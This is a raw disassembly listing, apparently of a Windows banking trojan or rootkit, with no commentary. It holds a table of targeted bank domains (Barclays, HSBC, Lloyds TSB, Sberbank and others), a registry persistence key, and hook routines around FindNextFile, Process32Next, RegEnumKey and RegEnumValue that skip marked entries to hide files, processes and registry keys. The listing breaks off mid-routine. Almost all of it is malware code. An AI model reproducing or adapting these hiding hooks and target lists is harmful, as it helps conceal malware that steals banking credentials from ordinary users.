dd offset aAsmworm_com ; "asmworm.com"
dd offset aWww_proxySocks ; "www.proxy-socks.net"
dd offset aDigitalRelaxkg ; "digital-relaxkgb.ru"
dd offset aWww_worldbank_ ; "www.worldbank.org/index.php"
dd offset aWww_candidatev ; "www.candidateverifier.com/index.php"
dd offset aWww_sbrf_ru ; "www.sbrf.ru"
dd offset aPizdabolInc_ru ; "pizdabol-inc.ru"
dd offset aWww_bankofindi ; "www.bankofindia.com"
dd offset aWww_icbank_ru ; "www.icbank.ru"
dd offset aAcroleinHawk_r ; "acrolein-hawk.rubanking.halifax-online."...
dd offset aWww_spyinstruc ; "www.spyinstructors.com"
dd offset aWww_kmb_ru ; "www.kmb.ru"
dd offset aWww_netmagiste ; "www.netmagister.com"
dd offset aKavkazcenter_c ; "kavkazcenter.com/russ"
dd offset aWww_absolutban ; "www.absolutbank.ru"
dd offset aMyonlineaccoun ; "myonlineaccounts2.abbeynational.co.uk"
dd offset aOnlineBusiness ; "online-business.lloydstsb.co.uk"
dd offset aWww_allahabadb ; "www.allahabadbank.com"
dd offset aMasterX_comFor ; "master-x.com/forum/"
dd offset aWww_rbc_com ; "www.rbc.com"
dd offset aWww_ovk_ru ; "www.ovk.ru"
dd offset aWww1_hsbc_caIn ; "www1.hsbc.ca/index.php"
dd offset aProrat_net ; "prorat.net"
dd offset aYambo_biz ; "yambo.biz"
dd offset aKidosBank_ru ; "kidos-bank.ru"
dd offset aWww_lbcdirect_ ; "www.lbcdirect.laurentianbank.ca/index.p"...
dd offset aBarclays_com ; "barclays.com"
dd offset aTotallyfreeban ; "totallyfreebanking.com"
dd offset aWww_nbc_caInde ; "www.nbc.ca/index.php"
dd offset a53bank_com ; "53bank.com"
dd offset aWww_uralsib_ru ; "www.uralsib.ru"
dd offset aGrepwareFacili ; "grepware-facility.ru"
dd offset aWww_b2bTrust_c ; "www.b2b-trust.com"
dd offset aGutabank_ru ; "gutabank.ru"
dd offset aOpenbank_com ; "openbank.com"
dd offset aSeclab_ru ; "seclab.ru"
dd offset aTatNeftbank_ru ; "tat-neftbank.ru"
dd offset aSecuritylab_ru ; "securitylab.ru"
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 75h, 44h, 0
dd offset aFethard_biz ; "fethard.biz"
dd offset aWww_mdmbank_ru ; "www.mdmbank.ru"
dd offset aGronxplanets_r ; "gronxplanets.ru"
dd offset aChevychasebank ; "chevychasebank.com"
dd 2E716E4Ah
db 0
; char SubKey[]
SubKey db 'Software\Microsoft\Windows',0 ; DATA XREF: sub_4098A8+5A0o
; sub_4098A8+68Fo ...
aK db 'K',0
; char ValueName[]
ValueName db 'ofstkkq',0 ; DATA XREF: sub_4098A8+59Bo
; sub_4098A8+68Ao
db 0
; char aOfstkkqc[]
aOfstkkqc db 'ofstkkqc',0 ; DATA XREF: sub_4098A8+6E3o
; sub_4098A8+898o
dd 0
dword_43C21C dd 0 ; sub_40B3E8:loc_40B57Br ...
; HWND dword_43C220
dword_43C220 dd 0 ; sub_40B3E8+A9r ...
dd 20533E44h, 743F46h
dword_43C22C dd 727C21h dword_43C230 dd 38h ; sub_401D31+96w ...
dd 3, 0Eh
dword_43C23C dd 0 ; .text:loc_40145Br ...
dd 1, 0Dh
dword_43C248 dd 0 ; .text:loc_40159Dr ...
dd 2, 10h
dword_43C254 dd 0 ; .text:loc_4016D6r ...
dd 6, 0Ch
dword_43C260 dd 0 ; .text:loc_4017B4r ...
dword_43C264 dd 354B5Eh dword_43C268 dd 252C366Fh, 38h, 5, 0Ahdword_43C278 dd 0 ; .text:loc_40193Br ...
aVlvh_ db 'vlVh_',0 ; DATA XREF: .text:004019ABo
align 4
dd 5, 0Fh
dword_43C28C dd 0 ; .text:loc_401A1Dr ...
word_43C290 dw 2Ah ; DATA XREF: sub_401A7E+37r
dword_43C292 dd 707C44h align 4
dd 0
dd 0Bh
dword_43C2A0 dd 0 ; .text:loc_401B47r ...
word_43C2A4 dw 4Ah ; DATA XREF: sub_401BB7+9r
word_43C2A6 dw 7146h ; DATA XREF: sub_401BB7+D4o
dd 42506347h, 3Ah, 2, 0Ah
dword_43C2B8 dd 0 ; .text:loc_401CCEr ...
word_43C2BC dw 20h ; DATA XREF: sub_401D31+1Dr
word_43C2BE dw 3851h ; DATA XREF: sub_401D31+13Ao
dd 7A8161h
dword_43C2C4 dd 493C253Eh, 68hoff_43C2CC dd offset loc_401DBB ; DATA XREF: sub_401D31+7Er
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_402002
dd offset loc_401F8C
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_401E2D
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_401E2D
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_401E2D
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DF8
dd offset loc_401DF8
dd offset loc_401E2D
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401E2D
dd offset loc_401E2D
dd offset loc_401EB0
dd offset loc_401ED6
dd offset loc_401F5A
dd offset loc_401F20
dd offset loc_401E1C
dd offset loc_401F0E
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401F0E
dd offset loc_401F20
dd offset loc_401F0E
dd offset loc_401F0E
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
off_43C4FC dd offset loc_401DBB ; DATA XREF: sub_401D31+291r
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401F37
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401F4A
dd offset loc_401F4A
dd offset loc_401F4A
dd offset loc_401F4A
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401E1C
dd offset loc_401F5A
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F0E
dd offset loc_401F0E
dd offset loc_401F70
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401F0E
dd offset loc_401F20
dd offset loc_401F7C
dd offset loc_402002
dd offset loc_401F70
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DCD
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401DBB
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401E1C
dd offset loc_401F5A
dd offset loc_401F5A
dd offset loc_401F37
dd offset loc_401E1C
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401E58
dd offset loc_401F85
dd offset loc_401E85
dd offset loc_401E85
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DE8
dd offset loc_401DE8
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401DBB
dd offset loc_401DBB
off_43C6CC dd offset loc_401FCE ; DATA XREF: sub_401D31+27Cr
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_402002
dd offset loc_401FFB
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FDF
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401FCE
dd offset loc_401FEC
dd offset loc_401FCE
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_401FCE
dd offset loc_401FEC
dd offset loc_401FCE
dd offset loc_401FFB
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_401FEC
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FCE
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_401FFB
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
dd offset loc_402002
aFindnextfilea db 'FindNextFileA',0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+8], edi
mov [esp+4], esi
mov [esp], ebx
loc_43C85B: ; CODE XREF: .text:0043C8A4j
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245CA68h
test eax, eax
jz short loc_43C8A6
pusha
mov eax, [ebp+0Ch]
add eax, 2Ch
mov ebx, eax
loc_43C875: ; CODE XREF: .text:0043C87Bj
cmp byte ptr [ebx], 0
jz short loc_43C87D
inc ebx
jmp short loc_43C875
; ---------------------------------------------------------------------------
loc_43C87D: ; CODE XREF: .text:0043C878j
mov word ptr [ebx], 463Ah
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FD49Eh
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43C8A3
popa
jmp short loc_43C8A6
; ---------------------------------------------------------------------------
loc_43C8A3: ; CODE XREF: .text:0043C89Ej
popa
jmp short loc_43C85B
; ---------------------------------------------------------------------------
loc_43C8A6: ; CODE XREF: .text:0043C868j
; .text:0043C8A1j
mov ebx, [esp]
mov esi, [esp+4]
mov edi, [esp+8]
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 6E694600h, 78654E64h, 6C694674h
db 65h, 57h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+8], edi
mov [esp+4], esi
mov [esp], ebx
loc_43C8DC: ; CODE XREF: .text:0043C92Bj
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245CAE9h
test eax, eax
jz short loc_43C92D
pusha
mov eax, [ebp+0Ch]
add eax, 2Ch
mov ebx, eax
loc_43C8F6: ; CODE XREF: .text:0043C8FEj
cmp word ptr [ebx], 0
jz short loc_43C900
inc ebx
inc ebx
jmp short loc_43C8F6
; ---------------------------------------------------------------------------
loc_43C900: ; CODE XREF: .text:0043C8FAj
mov dword ptr [ebx], 46003Ah
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50D625h
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43C92A
popa
jmp short loc_43C92D
; ---------------------------------------------------------------------------
loc_43C92A: ; CODE XREF: .text:0043C925j
popa
jmp short loc_43C8DC
; ---------------------------------------------------------------------------
loc_43C92D: ; CODE XREF: .text:0043C8E9j
; .text:0043C928j
mov ebx, [esp]
mov esi, [esp+4]
mov edi, [esp+8]
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
dw 0FFFFh
dword_43C940 dd 0FFFFFFh, 7551744Eh, 53797265h, 65747379h, 666E496Dh
; DATA XREF: .text:0043CE8Co
dd 616D726Fh, 6E6F6974h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43C95D proc near ; DATA XREF: .text:0043CE94o
var_68 = byte ptr -68h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov [esp+24h+var_1C], edi
mov [esp+24h+var_20], esi
mov [esp+24h+var_24], ebx
sub esp, 10h
mov eax, [ebp+arg_C]
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_4]
mov [esp+34h+var_28], eax
mov [esp+34h+var_2C], edi
mov [esp+34h+var_30], ebx
mov esi, [ebp+arg_0]
mov [esp+34h+var_34], esi
call near ptr 245CB93h
mov [ebp+var_4], eax
cmp esi, 5
jz short loc_43C9AD
loc_43C999: ; CODE XREF: sub_43C95D+56j
; sub_43C95D+A9j
mov eax, [ebp+var_4]
mov ebx, [esp+24h+var_24]
mov esi, [esp+24h+var_20]
mov edi, [esp+24h+var_1C]
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_43C9AD: ; CODE XREF: sub_43C95D+3Aj
cmp edi, 1F40h
jle short loc_43C999
jmp short loc_43C9BB
; ---------------------------------------------------------------------------
loc_43C9B7: ; CODE XREF: sub_43C95D+ABj
mov esi, ebx
loc_43C9B9: ; CODE XREF: sub_43C95D+A3j
add ebx, eax
loc_43C9BB: ; CODE XREF: sub_43C95D+58j
pusha
mov eax, [ebx+44h]
push 50h
sub esp, 20h
xor ebx, ebx
loc_43C9C9: ; CODE XREF: sub_43C95D+7Fj
bt eax, ebx
jb short loc_43C9D4
mov [esp+ebx+68h+var_68], 30h
jmp short loc_43C9D8
; ---------------------------------------------------------------------------
loc_43C9D4: ; CODE XREF: sub_43C95D+6Fj
mov [esp+ebx+68h+var_68], 31h
loc_43C9D8: ; CODE XREF: sub_43C95D+75j
inc ebx
cmp ebx, 20h
jnz short loc_43C9C9
push esp
call near ptr 0C4FD5F0h
add esp, 24h
test ax, ax
jnz short loc_43C9EF
popa
jmp short loc_43CA02
; ---------------------------------------------------------------------------
loc_43C9EF: ; CODE XREF: sub_43C95D+8Dj
popa
mov eax, [ebx]
test eax, eax
jnz short loc_43C9FE
mov dword ptr [esi], 0
jmp short loc_43CA02
; ---------------------------------------------------------------------------
loc_43C9FE: ; CODE XREF: sub_43C95D+97j
add [esi], eax
jmp short loc_43C9B9
; ---------------------------------------------------------------------------
loc_43CA02: ; CODE XREF: sub_43C95D+90j
; sub_43C95D+9Fj
mov eax, [ebx]
test eax, eax
jz short loc_43C999
jmp short loc_43C9B7
sub_43C95D endp
; ---------------------------------------------------------------------------
dw 0FFFFh
dd 0FFFFFFh
aProcess32next db 'Process32Next',0 ; DATA XREF: .text:off_43CE7Co
word_43CA1E dw 8360h ; DATA XREF: .text:off_43CE84o
dd 46A08C5h, 0B0BE855h, 0C0850B0Bh, 0EB610374h, 458B610Bh
dd 1013D08h, 14740101h, 80808E8h, 1FF8108h, 74010101h
dd 1013D07h, 5750101h, 20202E9h
db 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+8], edi
mov [esp+4], esi
mov [esp], ebx
loc_43CA66: ; CODE XREF: .text:0043CAB4j
sub esp, 8
mov ebx, [ebp+0Ch]
mov edi, [ebp+8]
mov [esp+4], ebx
mov [esp], edi
call near ptr 245CC7Dh
test eax, eax
jz short loc_43CAB6
pusha
mov eax, [ebx+8]
push 50h
sub esp, 20h
xor ebx, ebx
loc_43CA8D: ; CODE XREF: .text:0043CAA0j
bt eax, ebx
jb short loc_43CA98
mov byte ptr [esp+ebx], 30h
jmp short loc_43CA9C
; ---------------------------------------------------------------------------
loc_43CA98: ; CODE XREF: .text:0043CA90j
mov byte ptr [esp+ebx], 31h
loc_43CA9C: ; CODE XREF: .text:0043CA96j
inc ebx
cmp ebx, 20h
jnz short loc_43CA8D
push esp
call near ptr 0C4FD6B4h
add esp, 24h
test ax, ax
jnz short loc_43CAB3
popa
jmp short loc_43CAB6
; ---------------------------------------------------------------------------
loc_43CAB3: ; CODE XREF: .text:0043CAAEj
popa
jmp short loc_43CA66
; ---------------------------------------------------------------------------
loc_43CAB6: ; CODE XREF: .text:0043CA7Dj
; .text:0043CAB1j
mov ebx, [esp]
mov esi, [esp+4]
mov edi, [esp+8]
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 67655200h, 6D756E45h, 4179654Bh
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43CADC: ; CODE XREF: .text:0043CB29j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245CCEFh
test eax, eax
jnz short loc_43CB2B
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43CAF7: ; CODE XREF: .text:0043CAFDj
cmp byte ptr [ebx], 0
jz short loc_43CAFF
inc ebx
jmp short loc_43CAF7
; ---------------------------------------------------------------------------
loc_43CAFF: ; CODE XREF: .text:0043CAFAj
mov word ptr [ebx], 4B23h
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FD720h
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43CB25
popa
jmp short loc_43CB2B
; ---------------------------------------------------------------------------
loc_43CB25: ; CODE XREF: .text:0043CB20j
popa
inc dword ptr [ebp+0Ch]
jmp short loc_43CADC
; ---------------------------------------------------------------------------
loc_43CB2B: ; CODE XREF: .text:0043CAEFj
; .text:0043CB23j
pop ebp
retn 10h
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 67655200h, 6D756E45h, 5779654Bh
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43CB44: ; CODE XREF: .text:0043CB97j
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245CD57h
test eax, eax
jnz short loc_43CB99
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43CB5F: ; CODE XREF: .text:0043CB67j
cmp word ptr [ebx], 0
jz short loc_43CB69
inc ebx
inc ebx
jmp short loc_43CB5F
; ---------------------------------------------------------------------------
loc_43CB69: ; CODE XREF: .text:0043CB63j
mov dword ptr [ebx], 4B0023h
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50D88Eh
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43CB93
popa
jmp short loc_43CB99
; ---------------------------------------------------------------------------
loc_43CB93: ; CODE XREF: .text:0043CB8Ej
popa
inc dword ptr [ebp+0Ch]
jmp short loc_43CB44
; ---------------------------------------------------------------------------
loc_43CB99: ; CODE XREF: .text:0043CB57j
; .text:0043CB91j
pop ebp
retn 10h
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dword_43CBA0 dd 5200FFFFh, 6E456765h, 654B6D75h, 57784579h db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CBB1 proc near ; DATA XREF: .text:0043CEE4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
loc_43CBB4: ; CODE XREF: sub_43CBB1+7Ej
mov eax, [ebp+arg_C]
push dword ptr [eax]
mov eax, [ebp+arg_18]
test eax, eax
jz short loc_43CBC2
push dword ptr [eax]
loc_43CBC2: ; CODE XREF: sub_43CBB1+Dj
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 245CDE1h
test eax, eax
jnz short loc_43CC31
pusha
mov eax, [ebp+arg_8]
mov ebx, eax
loc_43CBE9: ; CODE XREF: sub_43CBB1+40j
cmp word ptr [ebx], 0
jz short loc_43CBF3
inc ebx
inc ebx
jmp short loc_43CBE9
; ---------------------------------------------------------------------------
loc_43CBF3: ; CODE XREF: sub_43CBB1+3Cj
mov dword ptr [ebx], 4B0023h
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50D918h
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43CC1D
popa
jmp short loc_43CC31
; ---------------------------------------------------------------------------
loc_43CC1D: ; CODE XREF: sub_43CBB1+67j
popa
inc [ebp+arg_4]
mov eax, [ebp+arg_18]
test eax, eax
jz short loc_43CC2A
pop dword ptr [eax]
loc_43CC2A: ; CODE XREF: sub_43CBB1+75j
mov eax, [ebp+arg_C]
pop dword ptr [eax]
jmp short loc_43CBB4
; ---------------------------------------------------------------------------
loc_43CC31: ; CODE XREF: sub_43CBB1+30j
; sub_43CBB1+6Aj
add esp, 4
cmp [ebp+arg_18], 0
jz short loc_43CC3D
add esp, 4
loc_43CC3D: ; CODE XREF: sub_43CBB1+87j
pop ebp
retn 20h
sub_43CBB1 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(0FFh)
dd 5200FFFFh, 6E456765h, 654B6D75h, 41784579h
db 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43CC58: ; CODE XREF: .text:0043CCCDj
mov eax, [ebp+14h]
push dword ptr [eax]
mov eax, [ebp+20h]
test eax, eax
jz short loc_43CC66
push dword ptr [eax]
loc_43CC66: ; CODE XREF: .text:0043CC62j
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 245CE85h
test eax, eax
jnz short loc_43CCCF
pusha
mov eax, [ebp+10h]
mov ebx, eax
loc_43CC8D: ; CODE XREF: .text:0043CC93j
cmp byte ptr [ebx], 0
jz short loc_43CC95
inc ebx
jmp short loc_43CC8D
; ---------------------------------------------------------------------------
loc_43CC95: ; CODE XREF: .text:0043CC90j
mov word ptr [ebx], 4B23h
inc ebx
inc ebx
push dword ptr [ebx]
mov word ptr [ebx], 0
push ebx
push eax
call near ptr 0C4FD8B6h
pop ebx
pop dword ptr [ebx]
mov word ptr [ebx-2], 0
test ax, ax
jnz short loc_43CCBB
popa
jmp short loc_43CCCF
; ---------------------------------------------------------------------------
loc_43CCBB: ; CODE XREF: .text:0043CCB6j
popa
inc dword ptr [ebp+0Ch]
mov eax, [ebp+20h]
test eax, eax
jz short loc_43CCC8
pop dword ptr [eax]
loc_43CCC8: ; CODE XREF: .text:0043CCC4j
mov eax, [ebp+14h]
pop dword ptr [eax]
jmp short loc_43CC58
; ---------------------------------------------------------------------------
loc_43CCCF: ; CODE XREF: .text:0043CC85j
; .text:0043CCB9j
add esp, 4
cmp dword ptr [ebp+20h], 0
jz short loc_43CCDB
add esp, 4
loc_43CCDB: ; CODE XREF: .text:0043CCD6j
pop ebp
retn 20h
; ---------------------------------------------------------------------------
db 0FFh
dword_43CCE0 dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h db 65h, 57h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43CCF3 proc near ; DATA XREF: .text:0043CF04o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
loc_43CCF6: ; CODE XREF: sub_43CCF3+7Ej
mov eax, [ebp+arg_C]
push dword ptr [eax]
mov eax, [ebp+arg_1C]
test eax, eax
jz short loc_43CD04
push dword ptr [eax]
loc_43CD04: ; CODE XREF: sub_43CCF3+Dj
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 245CF23h
test eax, eax
jnz short loc_43CD73
pusha
mov eax, [ebp+arg_8]
mov ebx, eax
loc_43CD2B: ; CODE XREF: sub_43CCF3+40j
cmp word ptr [ebx], 0
jz short loc_43CD35
inc ebx
inc ebx
jmp short loc_43CD2B
; ---------------------------------------------------------------------------
loc_43CD35: ; CODE XREF: sub_43CCF3+3Cj
mov dword ptr [ebx], 560023h
add ebx, 4
push dword ptr [ebx]
mov dword ptr [ebx], 0
push ebx
push eax
call near ptr 0D50DA5Ah
pop ebx
pop dword ptr [ebx]
mov dword ptr [ebx-4], 0
test ax, ax
jnz short loc_43CD5F
popa
jmp short loc_43CD73
; ---------------------------------------------------------------------------
loc_43CD5F: ; CODE XREF: sub_43CCF3+67j
popa
inc [ebp+arg_4]
mov eax, [ebp+arg_1C]
test eax, eax
jz short loc_43CD6C
pop dword ptr [eax]
loc_43CD6C: ; CODE XREF: sub_43CCF3+75j
mov eax, [ebp+arg_C]
pop dword ptr [eax]
jmp short loc_43CCF6
; ---------------------------------------------------------------------------
loc_43CD73: ; CODE XREF: sub_43CCF3+30j
; sub_43CCF3+6Aj
add esp, 4
cmp [ebp+arg_1C], 0
jz short loc_43CD7F
add esp, 4
loc_43CD7F: ; CODE XREF: sub_43CCF3+87j
pop ebp
retn 20h
sub_43CCF3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FFh
dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
db 65h, 41h, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
loc_43CD9A: ; CODE XREF: .text:0043CE0Fj
mov eax, [ebp+14h]
push dword ptr [eax]
mov eax, [ebp+24h]
test eax, eax
jz short loc_43CDA8
push dword ptr [eax]
loc_43CDA8: ; CODE XREF: .text:0043CDA4j
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
